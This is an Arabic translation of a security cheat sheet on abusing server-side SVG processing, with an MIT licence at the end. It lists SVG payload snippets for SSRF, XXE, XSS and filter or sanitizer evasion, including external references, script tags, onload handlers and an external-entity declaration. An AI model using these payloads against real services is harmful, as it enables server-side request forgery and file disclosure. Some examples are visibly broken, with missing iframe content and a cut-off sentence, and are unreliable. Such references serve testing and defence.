
ورقة غش لاستغلال معالجات SVG من جانب الخادم.
المضيفون الذين يعالجون ملفات SVG قد يكونون عرضة لثغرات SSRF وLFI وXSS وRCE بسبب مجموعة الميزات الغنية في SVG.
جميع هذه الطرق تحدد URI، والتي يمكن أن تكون مطلقة أو نسبية. من المهم اختبار بروتوكولي الملف وHTTP، لكن التطبيق قد يدعم أيضًا بروتوكولات أخرى اعتمادًا على التنفيذ (مثل مخططات تدفقات PHP)، بما في ذلك javascript: وdata:.
تحتوي هذه الوثيقة على قائمة بجميع الطرق التي أعرفها لإساءة استخدام هذه الوظيفة في SVG.
لاحظ أن بعض الخدمات التي تدّعي أنها لا تقبل SVG كصيغة إدخال تقبلها فعليًا مع القليل من الإقناع.
file القياسي أي توقيع سحري لـ SVG، لذا فالأمر على الأرجح متروك للتطبيقات الفردية.يمكن تضمين صور خارجية مباشرة في SVG عبر وسم <image>.
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
لاحظ أنه يمكنك استخدام هذا لتضمين صور SVG أخرى أيضًا.
<use>يمكن أن يتضمن SVG محتوى SVG خارجيًا عبر وسم <use>.
file1.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
file2.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<link>يمكن أن يتضمن SVG أوراق أنماط خارجية عبر وسم <link>، تمامًا مثل HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
@include<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<?xml-stylesheet?><?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
يمكن أن تتضمن ملفات SVG أوراق أنماط XSLT عبر <?xml-stylesheet?>. والمفاجئ أن هذا يبدو أنه يعمل في Chrome.
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
ملاحظة: نظرًا لطبيعة XSLT، لا يجب أن يكون الإدخال بالضرورة ملف SVG صالحًا إذا تم تجاهل xml-stylesheet، لكنه مفيد لتجاوز عوامل التصفية.
أيضًا، ولأنني لا أهتم بتعلم XSLT، فإن هذا القالب يستبدل الصورة "القديمة" بالكامل بأخرى جديدة.
يمكن أن يتضمن SVG جافاسكريبت مضمنة بشكل أصلي، تمامًا مثل HTML.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
يمكن أن يتضمن SVG أيضًا نصوصًا برمجية خارجية.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
يمكن أن يحتوي SVG أيضًا على معالجات أحداث مضمنة يتم تنفيذها عند التحميل (onload).
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
يمكنك أيضًا ربط المعالجات بالرسوم المتحركة وبعض الأحداث الأخرى. اقرأ مواصفات SVG.
نظرًا لأن SVG هو XML، يمكن أن يحتوي أيضًا على ثغرات XXE:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
<foreignObject>وسم <foreignObject> مذهل حقًا. يمكن استخدامه لتضمين (X)HTML عشوائي داخل SVG.
على سبيل المثال، لتضمين iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
</foreignObject>
</svg>
إذا لم يكن لديك وصول إلى الشبكة (مثل بيئة العزل sandbox)، يمكنك وضع data URI أو javascript URI كوجهة للـ iframe:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
k
</foreignObject>
</svg>
إذا لم تكتفِ من SVGs، يمكنك أيضًا تضمين المزيد من SVGs عبر وسمي <object> أو <embed>. أعتقد أنه من المحتمل نظريًا وضع Flash هناك أيضًا.
لاحظ أيضًا أنه نظرًا لوجودك في مساحة أسماء XML مختلفة، فإن أي أداة تعقيم تزيل svg:script فقط قد لا تزيل html:script (أو ما شابه ذلك بالنسبة للسمات).
من الممكن تضمين خطوط خارجية إذا أردت فعل ذلك يومًا ما، سواء عبر CSS أو عبر السمات الأصلية. لكن هذا ليس مفيدًا حقًا، لأن خطوط الويب تتطلب CORS لسبب لا أفهمه تمامًا، له علاقة بـ DRM لموارد الخطوط لمنع الربط المباشر. غير أنني أظن أنه توجد أحيانًا ثغرات في محركات الخطوط.
يوضح هذا المثال من مواصفات SVG استخدام عقدة tref للإشارة إلى نص عبر URI، ومع ذلك لا يبدو أنه يعمل في أي عارض جربته. إذا وُجد تطبيق يدعم ذلك، فقد يدعم أيضًا URIs خارجية للـ href في عقدة tref.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
xmlns="http://www.w3.org/2000/svg" version="1.1"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<text id="ReferencedText">
Referenced character data
</text>
</defs>
<desc>Example tref01 - inline vs reference text content</desc>
<text x="100" y="100" font-size="45" fill="blue" >
Inline character data
</text>
<text x="100" y="200" font-size="45" fill="red" >
<tref xlink:href="#ReferencedText"/>
</text>
<!-- Show outline of canvas using 'rect' element -->
<rect x="1" y="1" width="998" height="298"
fill="none" stroke="blue" stroke-width="2" />
</svg>
إذا كنت تعرف أي طرق أخرى أو معلومات/أمثلة ذات صلة، فلا تتردد في فتح issue/PR.
إذا وجدت هذا مفيدًا، سأكون ممتنًا لو أخبرتني! فهذا يُسعد يومي.
Copyright 2019 Allan Wirth <[email protected]>.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.